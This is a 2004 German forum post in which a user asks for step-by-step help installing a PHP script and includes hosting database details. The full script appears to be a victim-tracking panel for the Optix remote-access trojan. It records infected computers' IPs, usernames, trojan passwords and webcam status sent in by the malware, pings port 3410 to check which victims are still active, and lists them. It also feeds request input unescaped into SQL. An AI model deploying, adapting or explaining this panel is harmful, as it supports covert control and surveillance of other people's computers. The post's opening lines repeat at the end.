07.11.2004, 13:02
Hi!
Hab da ein script aber kp wie man es verwendet....kann mir einer ne genaue anleitung geben??
Also bei meinm space habe ich diese daten:
Hostname: localhost
Datenbank: Datenbank23
Username: User23
Passwort: dein gewähltes Passwort
wie gehts jetzt weiter?
Hab da ein script aber kp wie man es verwendet....kann mir einer ne genaue anleitung geben??
Code:
<?php
// written by gr00vy
// gr00vy@herr-der-mails.de
// Vor der Benutzung bitte einmal "add.php?action=install" aufrufen!
// Array $body: 1 = IP, 2 = Computername, 3 = Username, 4 = Identification, 5 = Port, 6 = PW, 7 = OS, 8 = Webcam
// Port der Optix-Server:
$port = "3410";
// Datenbank-Server
$db_server = "localhost";
// Datenbank
$db_datenbank = "Datenbank";
// DB-User
$db_user = "User";
// DB-Password
$db_password = "Password";
// Passwort für die Übersicht? Ja (1) / Nein (0)
$is_password = "0";
// Falls Passwort exisitert, wie soll es lauten?
if ($is_password == "1") {
$password = "l3375p33ch5uck5";
}
// Welche Eigenschaften des Servers sollen angezeigt werden?
// IP-Adresse
$show_ip = "1";
// Computername
$show_compname = "1";
// Username
$show_username = "1";
// Identification
$show_ident = "0";
// Port
$show_port = "0";
// Password
$show_pw = "0";
// Betriebssystem
$show_os = "0";
// Webcam-Status
$show_webcam = "1";
echo "<font face='Verdana'>";
// Passwort kontrollieren (Falls erforderlich)
if (isset($password) && isset($_GET['action']) && $_GET['action'] != "install") {
if (isset($_POST['pw'])) {
if ($_POST['pw'] != $password) {
echo "PW falsch!";
?>
<form action="add.php?action=<? echo $_GET['action'] ?>" method="post">
Passwort:
<input name="pw" type="password" size="30">
<input type="submit" value=" Absenden ">
</form>
<?
die();
}
} elseif (!isset($_POST['pw'])) {
?>
<form action="add.php?action=<? echo $_GET['action'] ?>" method="post">
Passwort:
<input name="pw" type="password" size="30">
<input type="submit" value=" Absenden ">
</form>
<?
die();
}
}
// Buttons zum Wechsel der Seiten
if (isset($_GET['action'])) {
if ($_GET['action'] == "show") {
?>
<form action="add.php?action=refresh" method="post">
<?
} elseif ($_GET['action'] == "refresh") {
?>
<form action="add.php?action=show" method="post">
<?
}
if ($_GET['action'] != "install" && $is_password == "1") {
echo "<input type='hidden' name='pw' value='" . $_POST['pw'] . "'>";
}
if ($_GET['action'] != "install" && $_GET['action'] == "show") {
echo "<input type='submit' value=' Aktualisieren '>
";
} elseif ($_GET['action'] != "install" && $_GET['action'] == "refresh") {
echo "<input type='submit' value=' Anzeigen '>
";
}
if ($_GET['action'] == "install") {
echo "Tabelle angelegt.";
}
}
// Aktualisieren der Server
if (isset($_GET['action']) && $_GET['action'] == "refresh") {
$db = @mysql_connect($db_server,$db_user,$db_password) or die ("Keine Verbindung.");
mysql_select_db($db_datenbank, $db);
$result = mysql_query("SELECT * FROM optixips");
while ($ips = mysql_fetch_array($result)) {
$sqlgerecht = "'" . $ips[0] . "'";
// Server pingen
$ping = @fsockopen($ips[0], $port, $errno, $errstr, 1);
// Bei keiner Antwort Server aus der DB löschen
if (!$ping) {
echo "<font color='red'>" . $ips[0] . "... not active</font>
";
mysql_query("DELETE FROM optixips WHERE ip=$sqlgerecht");
} else {
echo $ips[0] . "... active
";
}
}
}
// Server anzeigen
elseif (isset($_GET['action']) && $_GET['action'] == "show") {
$db = @mysql_connect($db_server,$db_user,$db_password) or die ("Keine Verbindung.");
mysql_select_db($db_datenbank, $db);
$result = mysql_query("SELECT * FROM optixips");
while ($ips = mysql_fetch_array($result)) {
?>
<table width="80%" bgcolor="#666666" cellspacing="0" border="2" bordercolor="#aaaaaa" cellpadding="3"><tr><td width="30%"><font color="#cccccc" face="Verdana">
<?php
if ($show_ip == "1") {
echo "IP-Adresse:";
} if ($show_compname == "1") {
echo "
Computer-Name:";
} if ($show_username == "1") {
echo "
User-Name:";
} if ($show_ident == "1") {
echo "
Identifikation:";
} if ($show_port == "1") {
echo "
Port:";
} if ($show_pw == "1") {
echo "
Passwort:";
} if ($show_os == "1") {
echo "
Betriebssystem:";
} if ($show_webcam == "1") {
echo "
Webcam:";
}
?>
</td><td bgcolor='#666666'><font face='Verdana' color='#cccccc'>
<?php
if ($show_ip == "1") {
echo $ips[0] . "
";
} if ($show_compname == "1") {
echo $ips[1] . "
";
} if ($show_username == "1") {
echo $ips[2] . "
";
} if ($show_ident == "1") {
echo $ips[3] . "
";
} if ($show_port == "1") {
echo $ips[4] . "
";
} if ($show_pw == "1") {
echo $ips[5] . "
";
} if ($show_os == "1") {
echo $ips[6] . "
";
} if ($show_webcam == "1") {
echo $ips[7] . "
";
}
?>
</td></tr></table>
<?
}
}
// Tabelle in Datenbank anlegen
elseif (isset($_GET['action']) && $_GET['action'] == "install") {
$db = @mysql_connect($db_server,$db_user,$db_password) or die ("Keine Verbindung.");
mysql_select_db($db_datenbank, $db);
mysql_query("CREATE TABLE `optixips` (
`ip` tinytext NOT NULL,
`compname` tinytext NOT NULL,
`username` tinytext NOT NULL,
`identification` tinytext NOT NULL,
`port` tinytext NOT NULL,
`pw` tinytext NOT NULL,
`os` tinytext NOT NULL,
`webcam` tinytext NOT NULL) TYPE=MyISAM;");
} else {
// Server in Datenbank aufnehmen
$list = array ("\\\\" => "", "_" => " ", "}" => "", "-" => ".", "[" => "", "]" => "", "Yes" => "Ja", "No" => "Nein");
$body = strtr($_GET['body'], $list);
$body = explode("{",$body);
$body[1] = substr($body[1], 12);
if (strlen($body[1])>15) {
$body[1] = $_SERVER['REMOTE_ADDR'];
}
$body[2] = substr($body[2], 15);
$body[3] = substr($body[3], 19);
$body[4] = substr($body[4], 20);
$body[5] = substr($body[5], 23);
$body[6] = substr($body[6], 27);
$body[7] = substr($body[7], 16);
$body[8] = substr($body[8], 8);
$db = @mysql_connect($db_server,$db_user,$db_password) or die ("Keine Verbindung.");
mysql_select_db($db_datenbank, $db);
mysql_query("INSERT INTO optixips (ip,compname,username,identification,port,pw,os,webcam) VALUES ('$body[1]','$body[2]','$body[3]','$body[4]','$body[5]','$body[6]','$body[7]','$body[8]')");
}
?>
Also bei meinm space habe ich diese daten:
Hostname: localhost
Datenbank: Datenbank23
Username: User23
Passwort: dein gewähltes Passwort
wie gehts jetzt weiter?